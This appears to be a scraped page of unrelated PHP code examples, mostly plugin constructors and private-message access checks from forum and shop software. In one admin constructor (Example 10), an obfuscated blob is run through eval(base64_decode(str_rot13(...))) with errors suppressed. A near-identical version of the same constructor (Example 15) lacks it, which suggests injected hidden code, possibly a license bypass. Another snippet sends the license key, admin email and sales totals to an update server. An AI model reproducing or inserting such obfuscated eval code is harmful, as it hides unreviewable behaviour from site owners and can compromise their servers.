Exemplo n.º 1
0
 function cmdUnlock()
 {
     IO::out('Unlocking Package Manager', false);
     $pm = new PM();
     if ($pm->unlock(true)) {
         io::done();
     }
 }
 /**
  * @see Action::readParameters()
  */
 public function readParameters()
 {
     parent::readParameters();
     // get pm
     $this->pm = new PM($this->objectID);
     if (!$this->pm->pmID || !$this->pm->hasAccess()) {
         throw new IllegalLinkException();
     }
 }
 /**
  * @see EventListener::execute()
  */
 public function execute($eventObj, $className, $eventName)
 {
     $attachment = $eventObj->attachment;
     if ($attachment['containerID'] && $attachment['containerType'] == 'pm') {
         if (!WCF::getUser()->userID) {
             throw new PermissionDeniedException();
         }
         require_once WCF_DIR . 'lib/data/message/pm/PM.class.php';
         $pm = new PM($attachment['containerID']);
         if (!$pm->hasAccess()) {
             throw new PermissionDeniedException();
         }
     }
 }
Exemplo n.º 4
0
 /**
  */
 function __construct($path = null)
 {
     $this->file = is_null($path) ? PM::getDataDir()->getFile('packagesSequence.txt') : $path;
     if (!is_writable($this->file)) {
         throw new PackagesSequenceException('Sequence file (' . $this->file . ') not writable.');
     }
 }
Exemplo n.º 5
0
 /**
  */
 function __construct($path = null)
 {
     $this->file = is_null($path) ? PM::getRollbackDir()->getFile('rollback.txt') : $path;
     if (!is_writable($this->file)) {
         throw new RollbackException('Rollback file (' . $this->file . ') not writable.');
     }
 }
 /**
  * Validates the given folder id.
  */
 protected function updateFolderID()
 {
     $validFolderIDs = array();
     // get valid folder id for active message id
     if ($this->pm->isSender()) {
         if ($this->pm->isDraft) {
             $validFolderIDs[] = PMFolderList::FOLDER_DRAFTS;
         } else {
             if ($this->pm->saveInOutbox) {
                 $validFolderIDs[] = PMFolderList::FOLDER_OUTBOX;
             }
         }
     }
     if ($this->pm->recipientID) {
         if ($this->pm->isDeleted == 1) {
             $validFolderIDs[] = PMFolderList::FOLDER_TRASH;
         } else {
             $validFolderIDs[] = $this->pm->folderID;
         }
     }
     // check active folder id
     if (!in_array($this->folderID, $validFolderIDs)) {
         // update folder id
         $this->folderID = $validFolderIDs[0];
     }
 }
Exemplo n.º 7
0
 public function __construct()
 {
     mgAddAction('mg_start', array(__CLASS__, 'checkPage'));
     mgAddShortcode('recently-viewed', array(__CLASS__, 'recentlyViewed'));
     self::$path = PLUGIN_DIR . self::$pluginName;
     self::$pluginName = PM::getFolderPlugin(__FILE__);
 }
Exemplo n.º 8
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$path = PLUGIN_DIR . self::$pluginName;
 }
 /**
  * @see PM::handleData()
  */
 protected function handleData($data)
 {
     if (!$data['username']) {
         $data['username'] = WCF::getLanguage()->get('wcf.pm.author.system');
     }
     parent::handleData($data);
     $this->user = new UserProfile(null, $data);
 }
Exemplo n.º 10
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if (URL::get('csvuser')) {
         USER::exportToCsvUser();
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $j878723423f5c3ba26da = "base64_decode";
         $kdd9391e7490 = "str_rot13";
         @eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3SDBGOMq0EaEx93omV1rz5XpUDjJKE0ZRkUETt5HTbjJIc0ZSyJqQOMIHEaHSSRnKMEEKEaHPfjJJczIxSHIGOZJHEcqySRMzqDZGOZHHI0pIN0ZRj4qQOMZ0EapIN3ZSy3EKIaHQRjJGARMmyDAQOMA0EcpIN5ZSyEEKqdZSuJHR50IyOBqSqHGJAiIRyEomV1ZSMEZUEArayzGHx5LH1YEKAZZwybpIEWnUSIJzWWFIqnDaqwLH1YEIWiZxRko0cWnUSGI2yiZ0EvJRL1pSplZJSMFxScpUcVnJ9HrKMMZ0ydGIEGZRkTAJchIH9jI2k4A1SRLxSDqx50IyOBqSMHrKcJHUE1GQWeqKNmDKAAF3IwpQASoIuGnzSWF094GRgSqHgDpTAmIJg4GHcOLx1YqTWZZ1q3Jz1JLyqHGJAiIRyEomV1ZSuTrUIQEyL1GKcRAHkUDKcPEyMwIyIzDIO2GaEJHR50IyOBqSqIFJkiHR45IyAdLJ5IEGOjHJWcJGVknH0mFGOZEwIfpHL5ZKOHEKIkISAgGHgKZx1YI3OKoJMOHUMBqSMDGaEJHR50I1ICnKNmEUEQEx9jImW5nUS6H2MhFxD5JxydLIy0ZSuJHR50IyOBqSMDGaEJH2cuI2SODxkXZKyQFJcuJKMSp0tjFHMWrRyTFwSdLHtjFHMWrRyTFmN1G0qVFKOKZGN3HHEvqSMDGaEJHR50IyOSq25DGwyJIRRkpUcep25XAJAkHUEwDzbjJSMDGaEJHR50IyOCq3SYI2MYZ0S5pID5naSDqUuZZaEzIyWOFHu4n0AVH0ImFHyKJyyDGaukF1qzJRqzDIO2GaEJHR50IyOBqRjmFJkiHmygGHgSnKOIETWKIRSvJIOCHHyWI1cUZH9VFmO1H0EVEIAVqzc0GKcGMaNlFTAPnwOLIyOBqSMDGaEJHR93pHgKMxfmDKykIQydpIO0rRjlqTMJHxSWFUueD0uGEKAVrRyVFHyKDxyGI09UrHSHEHyJMyMIEJkkFxuwDzbjJSMDGaEJHR50IyOCq3SYI2MYZ0S5pID5naSDqUuZZaEzIyWOFHu4n0AVH0ImFSV5E0yDnaEkIIpkGHM4A1SRLaEJHR50IyOBqSMHDGSjrzgmpQWWZT8mGmOLHRI3oyOdqRDkFHMUHwyRFIZ5ERpkDHuSrUyGE1WSE1yDGaujIQygpIO4A1SRLaEJHR50IyOBqSMHDGSjrzgmpQWWZT8mGmOLHRI3oyOdqRDkFHMUHwyRFIZ5HHpjAHWSFRSVFIW5DHIVBHyWHTc0JxqVL0WdZSuJHR50IyOBqSMDGaujrxygIyRjqRjmFJkiHmy5pyEWq1uDEKqhHUt3HHEvqSMDGaEJHR50IyEOZKO6n3AZZzgcpQWVLyqHDJWLE2MOHUMBqSMDGaEJHR50I1ESqKSHHaEQEx9xpQV5nRflEKyZZwy4GHM0rUO6FJ1MHR8jpTSWrIuUMxSDqx50IyOBqSMDGaEhFxk0JSOSrRkYEKIXZJcupUcWM28mGKyYHUSkIyRjBIMGnzSnFJcuJRMCA1SRLaEJHR50IyOBqSMDGaEJIHybo1E5nT5fqKOKZxSco3cAL01fAJAirayjI2k4A1SRLaEJHR50IyOBqSMDGaEKIHIvoxgnM0A6GKIhZxyMGHg4qRATG3OKBIOVZSyMETuOHQVjJGqRnUMEETykHQSJDIEFZRkQETykHQLjGT9RnRSDXmOMZ0EbDIEBZRkQETqkISOYHUO0DzbjJSMDGaEJHR50IyOBqSMHrKcJHUE1E0ujAxW6pKykH0S5pIISL296pTWYHURjpUc5qJ9GGKyjLHSwomV1E3SHH2kkH2cuJRM4qUWdZSuJHR50IyOBqSMDGaEJHR50EIWJAxWuHmSAF1p1JSAdLHMVAHqSFIqVIyW5DxyFBUEZH2cuJKyCExIVGIqXHQIjImAOrKSIEJAiraS0IyO1qT5XEKEMHR90omACZT5XBJuZHTc0GSIAqJ9IFKyZHTc0GSEGq3SHrGWAFx5zIyECnRkXZKyZHUu0FKuGJxyVFHqJHUIPFHueJyyDGaMkIIqwGRceFx1YI21hFwybFQASqKOuEUMMHR52pIIKZH1UHaMMHR52E3MJMyMDIaMLFJcuJRqzqSSRLaEJHR50IyOBqSMDGaEmEQOLIyOBqSMDGaEJHR50IyE5ryMDqUIUFUN2DackrKSGDKykIHIwo3cjLxgDpGOjray1o1AArKOuDJAiZwIjI2k4L1MIMxSDqx50IyOBqSMDGaEJHR50IyOSoKOXnaEQEx9jImO5DxtjFHMWHR9KE3ySD1MHG3OKoQIRFUuWIRMWqTuYHUSgGHgSZT5XAJSZHR5vGSE5rRkDnaEZIQydpIE5nJ96GzMJIR8lGRceZH1XGzMJIR91GQASL3S6FKEMHR90o3cGM01XGzAJH01CE1AWH0ufGzWUrHynE1OdqSMuEJkhFyAzFKcWoUNlrJyiqyMzIzqDFQOMJHEbDINlZSx3ETu2HHEcpINkIxSHHwOZD0EcpIN2ZRkiETuOHPfjJGARnRSHGwOZD0EapIEDIaMdqSM4AUMMHR52IaM5pSqgMxSDqx50IyOBqSMDGaEJHR50IyWSHRW3L2gkFxyfpxM0rUNmH2MLE2M0HHEvqSMDGaEJHR50IyOBqUATG3yiIHS5IyIzDIO2GaEJHR50IyOBqSMDGaEJHxIDDaqwn3SXFJklEaIjImSWERIFH0uSEx90F1OjnRuGI1ASrUyZJKydLKNlFGOkIUybGGWBqRtjFHuJIR8lGRceZH1XGaEQEx52ZSqUETMaHQDjJJ9RnJqDAyMOHQxjJHu0ZRkUEKD5HQxjJJISqJqDAQOMA0EcpIN0ZRkEEKD5HQRjGSM2IyAkIxIWI1AJIR9cpSISL28lAKEQEx52pIIKL0kXn0cAF1qgoxb5nSM5nzSLE2M0HHEvqSMDGaEJHR50IyOBqUARZSuJHR50IyOBqSMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7")));
         $this->newVersion = $newVer['lastVersion'];
         $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : '';
     }
 }
Exemplo n.º 11
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     mgAddAction('category_getcategorylistul', array(__CLASS__, 'addUploadField'), 1);
     mgAddAction('category_delcategory', array(__CLASS__, 'deleteCategory'), 1);
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
 }
Exemplo n.º 12
0
 public function __construct()
 {
     mgAddShortcode('feed-back-ajx', array(__CLASS__, 'handleShortCode'));
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$path = PLUGIN_DIR . self::$pluginName;
     if (!URL::isSection('mg-admin')) {
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/feed-back-user.js"></script>');
     }
 }
Exemplo n.º 13
0
 public function __construct()
 {
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     //Инициализация  метода выполняющегося при нажатии на кнопку настроект плагина
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     include 'mg-admin/locales/' . MG::getSetting('languageLocale') . '.php';
     $lang = array_merge($lang, self::$lang);
     self::$lang = $lang;
     self::$path = PLUGIN_DIR . self::$pluginName;
 }
Exemplo n.º 14
0
 function __construct()
 {
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$path = PLUGIN_DIR . self::$pluginName;
     mgAddShortcode('scroll-top', array(__CLASS__, 'showScrollTop'));
     if (!URL::isSection('mg-admin')) {
         // подключаем CSS плагина для всех страниц, кроме админки
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />');
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/scrolltop.js"></script>');
     }
 }
Exemplo n.º 15
0
 function __construct()
 {
     MG::disableTemplate();
     $model = new Models_Order();
     MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80));
     if ('1' == User::getThis()->role) {
         MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10));
     }
     if (URL::get('csv')) {
         $model = new Models_Catalog();
         $model->exportToCsv();
     }
     if (URL::get('examplecsv')) {
         $model = new Models_Catalog();
         $model->getExampleCSV();
     }
     if (URL::get('examplecsvupdate')) {
         $model = new Models_Catalog();
         $model->getExampleCsvUpdate();
     }
     if (URL::get('yml')) {
         if (LIBXML_VERSION && extension_loaded('xmlwriter')) {
             $model = new YML();
             if (URL::get('filename')) {
                 if (!$model->downloadYml(URL::get('filename'))) {
                     $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл');
                     echo json_encode($response);
                 }
             } else {
                 $model->exportToYml();
             }
         } else {
             $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter');
             echo json_encode($response);
         }
     }
     if ($orderId = URL::get('getOrderPdf')) {
         $model = new Models_Order();
         $model->getPdfOrder($orderId);
     }
     if ($orderId = URL::get('getExportCSV')) {
         $model = new Models_Order();
         $model->getExportCSV($orderId);
     }
     $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel());
     $this->pluginsList = PM::getPluginsInfo();
     $this->lang = MG::get('lang');
     if (!($checkLibs = MG::libExists())) {
         $newVer = Updata::checkUpdata(false, true);
         $this->newVersion = $newVer['lastVersion'];
     }
 }
Exemplo n.º 16
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     //Инициализация  метода выполняющегося при активации
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     //Инициализация  метода выполняющегося при нажатии на кнопку настроект плагина
     mgAddShortcode('trigger-guarantee', array(__CLASS__, 'viewTrigger'));
     // Инициализация шорткода [trigger-guarantee] - доступен в любом HTML коде движка.
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />');
 }
Exemplo n.º 17
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     mgAddShortcode('call-back', array(__CLASS__, 'handleShortCode'));
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     if (!URL::isSection('mg-admin')) {
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/user.css" type="text/css" />');
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.maskedinput.min.js"></script>');
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/user.js"></script>');
     }
     MG::addInformer(array('count' => self::getEntityActive(), 'class' => 'count-wrap', 'classIcon' => 'message-icon', 'isPlugin' => true, 'section' => 'call-back', 'priority' => 80));
 }
Exemplo n.º 18
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     mgAddShortcode('slider-images', array(__CLASS__, 'handleShortCode'));
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     if (!URL::isSection('mg-admin')) {
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/jquery.bxslider.css" type="text/css" />');
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/slider-images-user.css" type="text/css" />');
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.bxslider.min.js"></script>');
         mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/slider-images-user.js"></script>');
     }
 }
Exemplo n.º 19
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     //Инициализация  метода выполняющегося при активации
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     //Инициализация  метода выполняющегося при нажатии на кнопку настроект плагина
     mgAddShortcode('slider-action', array(__CLASS__, 'sliderAction'));
     // Инициализация шорткода [slider-action] - доступен в любом HTML коде движка.
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     if (!URL::isSection('mg-admin')) {
         // подключаем CSS плагина для всех страниц, кроме админки
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/style.css" type="text/css" />');
     }
 }
Exemplo n.º 20
0
 public function __construct()
 {
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     //Инициализация  метода выполняющегося при активации
     mgAddShortcode('rating', array(__CLASS__, 'showRating'));
     // Инициализация шорткода [rating] - доступен в любом HTML коде движка.
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     if (!URL::isSection('mg-admin')) {
         // подключаем CSS плагина для всех страниц, кроме админки
         mgAddMeta('<link rel="stylesheet" href="' . SITE . '/' . self::$path . '/css/rateit.css" type="text/css" />');
     }
     mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/rating.js"></script>');
     // подключаем плагин для работы с отображение звезд системы рейтинга
     mgAddMeta('<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/jquery.rateit.min.js"></script>');
 }
Exemplo n.º 21
0
 /**
  * Проверяет на сервере актуальность текущей системы.
  * $noerror - не позволяет вывести исключение перед версткой
  * @return  bool|array $result массив с описанием последней версии и ее номером.
  */
 public static function checkUpdata($noCache = false, $noerror = false)
 {
     $timeLastUpdata = MG::getSetting('timeLastUpdata');
     if (time() < $timeLastUpdata + 6 * 60 * 24 && !$noCache) {
         // интервал проверки обновления 2 с половиной часа.
         $res = MG::getSetting('currentVersion');
     } else {
         $row = DB::query('SELECT COUNT(`id`) as `count` FROM `' . PREFIX . 'product`');
         $res = DB::fetchArray($row);
         $count = $res['count'] ? $res['count'] : 0;
         $row2 = DB::query('SELECT SUM(  `summ` ) AS  `summ` FROM  `' . PREFIX . 'order` 
     WHERE  `status_id` =2 OR `status_id` =5');
         $res2 = DB::fetchArray($row2);
         $summ = $res2['summ'] ? $res2['summ'] : 0;
         $post = 'version=' . VER . '&sName=' . $_SERVER['SERVER_NAME'] . '&sIP=' . ($_SERVER['SERVER_ADDR'] == "::1" ? '127.0.0.1' : $_SERVER['SERVER_ADDR']) . '&sKey=' . MG::getSetting('licenceKey') . '&sSiteName=' . MG::getSetting('sitename') . '&sAdmin=' . MG::getSetting('adminEmail') . '&timeStartEngine=' . MG::getSetting('timeStartEngine') . '&timeFirstUpdate=' . MG::getSetting('timeFirstUpdate') . '&sPhone=' . MG::getSetting('shopPhone') . '&sAddress=' . MG::getSetting('shopAddress') . '&catalog=' . $count . '&orders=' . $summ;
         $res = self::sendCurl(self::$_updataServer . '/updataserver', $post);
         DB::query("\r\n        UPDATE `" . PREFIX . "setting`\r\n          SET `value`=" . DB::quote($res) . "\r\n        WHERE `option`='currentVersion'\r\n      ");
         DB::query("\r\n      UPDATE `" . PREFIX . "setting`\r\n        SET `value`=" . DB::quote(time()) . "\r\n      WHERE `option`='timeLastUpdata'\r\n      ");
         PM::checkPluginsUpdate();
     }
     // если curl запрос вернул false, значит он не удался.
     if (!$res && !$noerror) {
         echo "<div style='color:red; margin:10px;'>Невозможно выполнить CURL запрос, для проверки версии системы!</div>";
     }
     $data = json_decode($res, true);
     if (!empty($data['dateActivateKey'])) {
         MG::setOption(array('option' => 'dateActivateKey ', 'value' => $data['dateActivateKey']));
     }
     if ($data['last']) {
         $result['msg'] = '
   <ul class="system-version-list">
     <li> <b>Ближайшая версия для обновления: </b><span id="lVer">' . $data['last'] . '</span></li>
     <li> <b>Последняя версия системы: </b><span id="fVer">' . $data['final'] . '</span></li>
     <li> <b>Описание: </b>' . $data['disc'] . '</li>       
   </ul>';
         $result['lastVersion'] = $data['last'];
         $args = func_get_args();
         return MG::createHook(__CLASS__ . "_" . __FUNCTION__, $result, $args);
     }
     $args = func_get_args();
     return MG::createHook(__CLASS__ . "_" . __FUNCTION__, false, $args);
 }
Exemplo n.º 22
0
 public function __construct()
 {
     mgAddAction(__FILE__, array(__CLASS__, 'pageSettingsPlugin'));
     //Инициализация  метода при нажатии на кнопку настроект плагина
     mgActivateThisPlugin(__FILE__, array(__CLASS__, 'activate'));
     //Инициализация  метода при активации
     mgDeactivateThisPlugin(__FILE__, array(__CLASS__, 'deactivate'));
     //Инициализация  метода при деактивации
     mgAddShortcode('ulogin', array(__CLASS__, 'handleShortCode'));
     // Инициализация шорткода [ulogin] - доступен в любом HTML коде движка.
     mgAddShortcode('sync_ulogin', array(__CLASS__, 'handleShortCodeSync'));
     // Инициализация шорткода [sync_ulogin] - доступен в любом HTML коде движка.
     self::$pluginName = PM::getFolderPlugin(__FILE__);
     self::$lang = PM::plugLocales(self::$pluginName);
     self::$path = PLUGIN_DIR . self::$pluginName;
     $meta = '';
     if (!URL::isSection('mg-admin')) {
         $meta .= '<script src="//ulogin.ru/js/ulogin.js"></script>';
         $meta .= '<script type="text/javascript" src="' . SITE . '/' . self::$path . '/js/ajax.js"></script>';
     }
     $meta .= '<link href="//ulogin.ru/css/providers.css" rel="stylesheet" type="text/css">';
     mgAddMeta($meta);
 }
 /**
  * @see	PM::getOutstandingNotifications()
  */
 public function getOutstandingNotifications()
 {
     if ($this->outstandingNotifications === null) {
         require_once WCF_DIR . 'lib/data/message/pm/PM.class.php';
         $this->outstandingNotifications = PM::getOutstandingNotifications(WCF::getUser()->userID);
     }
     return $this->outstandingNotifications;
 }
Exemplo n.º 24
0
 /**
  * Вывод страницы плагина в админке
  */
 static function pagePluginComments()
 {
     $lang = PM::plugLocales('comments');
     if ($_POST["page"]) {
         $page = $_POST["page"];
     }
     //если был произведен запрос другой страницы, то присваиваем переменной новый индекс
     $countPrintRowsComments = MG::getSetting('countPrintRowsComments');
     $navigator = new Navigator("SELECT  *  FROM `" . PREFIX . "comments` ORDER BY `id` DESC", $page, $countPrintRowsComments);
     //определяем класс
     $comments = $navigator->getRowsSql();
     $pagination = $navigator->getPager('forAjax');
     // подключаем view для страницы плагина
     include 'pagePlugin.php';
 }
Exemplo n.º 25
0
    }
    ?>
                    <li><a id="plugins" href="javascript:void(0);" title="<?php 
    echo $lang['T_TIP_PLUG'];
    ?>
" class="tool-tip-top"><span class="plugins-icon"></span><?php 
    echo $lang['PLUGINS'];
    ?>
<p class="white-arrow-down"></p></a>
                        <div class="plugins-menu-wrapper">
                            <ul class="plugins-dropdown-menu">
                                <?php 
    foreach ($pluginsList as $item) {
        ?>
                                <?php 
        if (PM::isHookInReg($item['folderName']) && $item['Active']) {
            ?>
                                <li><a href="#" class="<?php 
            echo $item['folderName'];
            ?>
"><?php 
            echo $item['PluginName'];
            ?>
</a></li>
                                <?php 
        }
        ?>
                                <?php 
    }
    ?>
                                <li class="go-to-plugins-settings"><a href="javascript:void(0);" class="all-plugins-settings"><?php 
Exemplo n.º 26
0
$view->title = $lang['write'];
$preview = null;
#ID i w±tek
$id = isset($URL[2]) && is_numeric($URL[2]) ? $URL[2] : 0;
$th = isset($_GET['th']) && is_numeric($_GET['th']) ? $_GET['th'] : 0;
#Wys³ane dane
if ($_POST) {
    #Dane
    $pm = array('to' => clean($_POST['to']), 'txt' => clean($_POST['txt'], 0, 1), 'topic' => empty($_POST['topic']) ? $lang['notopic'] : clean($_POST['topic'], 50, 1));
    #Wy¶lij lub edytuj
    if (isset($_POST['send']) or isset($_POST['save'])) {
        try {
            $db->beginTransaction();
            include './mod/pms/api.php';
            #Obiekt API
            $o = new PM();
            $o->exceptions = true;
            $o->topic = $pm['topic'];
            $o->text = $pm['txt'];
            $o->to = $pm['to'];
            $o->thread = $th;
            #Wy¶lij - je¶li do siebie, zapisz jako kopiê robocz±
            if (isset($_POST['send']) && $o->to != $user['login']) {
                if ($id && !isset($_POST['keep'])) {
                    $o->status = 1;
                    $o->update($id);
                    //Wy¶lij kopiê - zmiana w³a¶ciciela
                } else {
                    $o->send();
                    //Wy¶lij now± wiadomo¶æ
                }
Exemplo n.º 27
0
DB::init();
Storage::init();
PM::init();
MG::init();
URL::init();
User::init();
Mailer::init();
// Если сайт временно закрыт, то выводитя заглушка, хранящаяся в корне движка.
if (MG::isDowntime()) {
    require_once 'downTime.html';
    exit;
}
// Запоминает откуда пришел пользователь.
MG::logReffererInfo();
// Подключить index.php всех плагинов.
PM::includePlugins();
// Хук выполняющийся до запуска движка.
MG::createHook('mg_start');
// Запуск движка.
$moguta = new Moguta();
$moguta = $moguta->run();
// Вывод результата на экран, предварительно обработав все возможные шорткоды.
echo PM::doShortcode(MG::printGui($moguta));
// Хук выполняющийся после того как отработал движок.
MG::createHook('mg_end', true, $moguta);
// Ввывод консоли запросов к БД.
if (DEBUG_SQL) {
    echo DB::console();
}
// Завершение процесса кэширвания.
Storage::close();
Exemplo n.º 28
0
<?php

/**
 * Раздел управления плагинами сайта.
 *
 * @autor Авдеев Марк <*****@*****.**>
 */
$this->pluginsList = PM::getPluginsInfo();
Exemplo n.º 29
0
 /**
  *  Считывает информацию обо всех плагинах в дирректории PLUGIN_DIR.
  *  @return void
  */
 public static function getPluginsInfo()
 {
     //self::checkPluginsUpdate();
     if (empty(self::$pluginsInfo)) {
         $result = array();
         $plugins = scandir(PLUGIN_DIR);
         unset($plugins[1]);
         foreach ($plugins as $folderName) {
             if (!is_dir($folderName)) {
                 $plug = self::readInfo($folderName);
                 if ($plug) {
                     $result[] = $plug;
                 }
             }
         }
         $pluginsUpdateInfo = unserialize(stripslashes(MG::getSetting('pluginsVersionInfo')));
         $pluginsList = array_keys($pluginsUpdateInfo);
         //viewData($pluginsUpdateInfo);
         // Считываем активность плагинов из БД.
         $res = DB::query("SELECT *  FROM `" . PREFIX . "plugins`");
         while ($row = DB::fetchArray($res)) {
             $pluginsActivity[$row['folderName']] = $row['active'];
         }
         // Сортировка в порядке по алфавиту.
         usort($result, array(__CLASS__, "sortByPluginName"));
         // Дополняем массив найденых плагинов информацие их активности.
         foreach ($result as $id => $plugin) {
             $result[$id]['Active'] = isset($pluginsActivity[$plugin['folderName']]) ? $pluginsActivity[$plugin['folderName']] : 0;
             if (in_array($plugin['folderName'], $pluginsList)) {
                 self::$pluginsFolder[$plugin['folderName']] = $id;
                 $result[$id]['update'] = $pluginsUpdateInfo[$plugin['folderName']];
                 $result[$id]['update']['description'] = $result[$id]['update']['description'];
             }
         }
         self::$pluginsInfo = $result;
     } else {
